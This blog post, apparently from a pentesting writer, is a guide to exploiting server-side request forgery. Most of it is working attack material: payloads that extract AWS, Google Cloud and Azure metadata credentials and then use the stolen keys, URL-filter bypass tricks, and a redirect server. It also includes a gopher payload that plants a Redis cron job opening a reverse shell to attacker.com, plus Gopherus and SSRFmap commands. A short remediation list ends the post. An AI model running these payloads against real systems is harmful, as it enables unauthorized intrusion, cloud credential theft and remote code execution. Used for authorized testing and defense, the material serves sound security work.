← Back to writing
Web Pentesting

SSRF Exploitation Guide

May 18, 2024
3 min read
lawbyte

Server-Side Request Forgery is one of the most versatile vulnerabilities in modern web applications. When a server fetches a URL you control, you gain a proxy into internal infrastructure — cloud metadata, internal APIs, and in some cases code execution.

What is SSRF?

The server makes an HTTP request on your behalf. You control the destination URL. The response may be reflected to you (basic SSRF) or only the side-effects are observable (blind SSRF).

Common entry points:

  • URL or link parameters: ?url=, ?src=, ?path=, ?redirect=
  • Webhooks: “notify me at this URL”
  • PDF / screenshot generators
  • Import from URL features (avatar, document, feed)
  • XML parsers with DTD (XXE can become SSRF)
  • Host header injection in some configurations

Basic Detection

Replace the target URL with your server:

https://target.com/fetch?url=https://your.interactsh.com/probe

If you get a hit on your server, SSRF is confirmed. If not, try:

https://target.com/fetch?url=http://127.0.0.1/
https://target.com/fetch?url=http://localhost/
https://target.com/fetch?url=http://[::1]/

Internal Service Enumeration

Port scanning

http://127.0.0.1:22/        → SSH banner
http://127.0.0.1:3306/ → MySQL
http://127.0.0.1:6379/ → Redis
http://127.0.0.1:9200/ → Elasticsearch
http://127.0.0.1:8500/ → Consul
http://127.0.0.1:2375/ → Docker API (unauthenticated!)
http://127.0.0.1:4001/ → etcd

Different response sizes/times indicate open vs closed ports.

Internal subnet scanning

http://192.168.0.1/
http://10.0.0.1/
http://172.16.0.1/

Use Burp Intruder on the last octet to map live hosts.


Cloud Metadata APIs

This is where SSRF becomes critical. Most cloud platforms expose instance metadata at a link-local address.

AWS EC2

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
http://169.254.169.254/latest/user-data/

The credentials endpoint returns temporary AWS keys:

{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "..."
}

Use them with the AWS CLI: aws --profile stolen s3 ls

IMDSv2 requires a PUT request to get a token first — some SSRF primitives can’t do PUT, but many can:

PUT http://169.254.169.254/latest/api/token
Headers: X-aws-ec2-metadata-token-ttl-seconds: 21600
→ returns token

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
Headers: X-aws-ec2-metadata-token: <token>

Google Cloud

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id
Headers: Metadata-Flavor: Google

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Headers: Metadata: true

URL Filter Bypass Techniques

Applications often try to block 127.0.0.1 or 169.254.169.254. Bypass:

IP obfuscation

http://2130706433/         → 127.0.0.1 in decimal
http://0x7f000001/ → 127.0.0.1 in hex
http://0177.0000.0000.0001/ → 127.0.0.1 in octal
http://127.1/ → short form
http://127.0.1/ → equivalent on Linux
http://[::ffff:127.0.0.1]/ → IPv6 mapped IPv4
http://[::1]/ → IPv6 loopback

DNS rebinding

Register rebind.attacker.com to resolve to a public IP initially (to pass validation), then change the DNS to 127.0.0.1 before the second request. The server fetches your internal target.

Redirect chain

Host a page that 302-redirects to the internal URL:

# Flask redirect server
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/r')
def redir():
return redirect('http://169.254.169.254/latest/meta-data/iam/security-credentials/')

If the application follows redirects, it fetches the metadata endpoint.

URL parser confusion

http://attacker.com@127.0.0.1/        → some parsers take host after @
http://127.0.0.1#attacker.com → fragment ignored by server
http://127.0.0.1?.attacker.com → parsed differently per library
http://attacker.com%2F@127.0.0.1/ → URL-encoded slash confusion

Protocol tricks

file:///etc/passwd
dict://127.0.0.1:6379/INFO
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a
sftp://attacker.com/
ldap://attacker.com/

Gopher Protocol — Attacking Internal Services

The gopher:// protocol lets you send raw bytes to a TCP port. This is SSRF-to-RCE territory.

Redis RCE via gopher

Write a cron job to Redis:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

Tool: Gopherus — auto-generates gopher payloads for Redis, MySQL, FastCGI, SMTP, etc.

python gopherus.py --exploit redis

Blind SSRF

No response reflected. Use out-of-band confirmation.

  1. DNS callback: http://YOUR_ID.interactsh.com/ — confirms DNS resolution.
  2. HTTP callback: full HTTP hit on your server — confirms TCP + HTTP.
  3. Timing differences: open port responds faster than closed/filtered.

Tools: Burp Collaborator, interactsh, requestbin.


SSRF to Internal API Abuse

Many microservice architectures trust internal traffic without auth:

http://internal-api/admin/users          → list all users
http://internal-api/admin/reset-password → no auth required internally
http://k8s-api-server:8443/api/v1/pods → Kubernetes API
http://consul:8500/v1/kv/ → config store

Tools

# ffuf to scan internal ports via SSRF
ffuf -u "https://target.com/fetch?url=http://127.0.0.1:FUZZ/" \
-w ports.txt -fs 0

# SSRFmap
python ssrfmap.py -r request.txt -p url -m portscan

# Gopherus for protocol exploitation
python gopherus.py --exploit redis
python gopherus.py --exploit mysql
python gopherus.py --exploit fastcgi

Remediation

  • Maintain an allowlist of permitted domains/IPs — deny everything else.
  • Block requests to 169.254.0.0/16, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 127.0.0.0/8.
  • Don’t follow redirects, or re-validate after redirect resolution.
  • Use IMDSv2 on AWS (requires token PUT, blocks naive SSRF).
  • Parse URLs with a consistent library and validate the resolved IP, not just the hostname string.

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.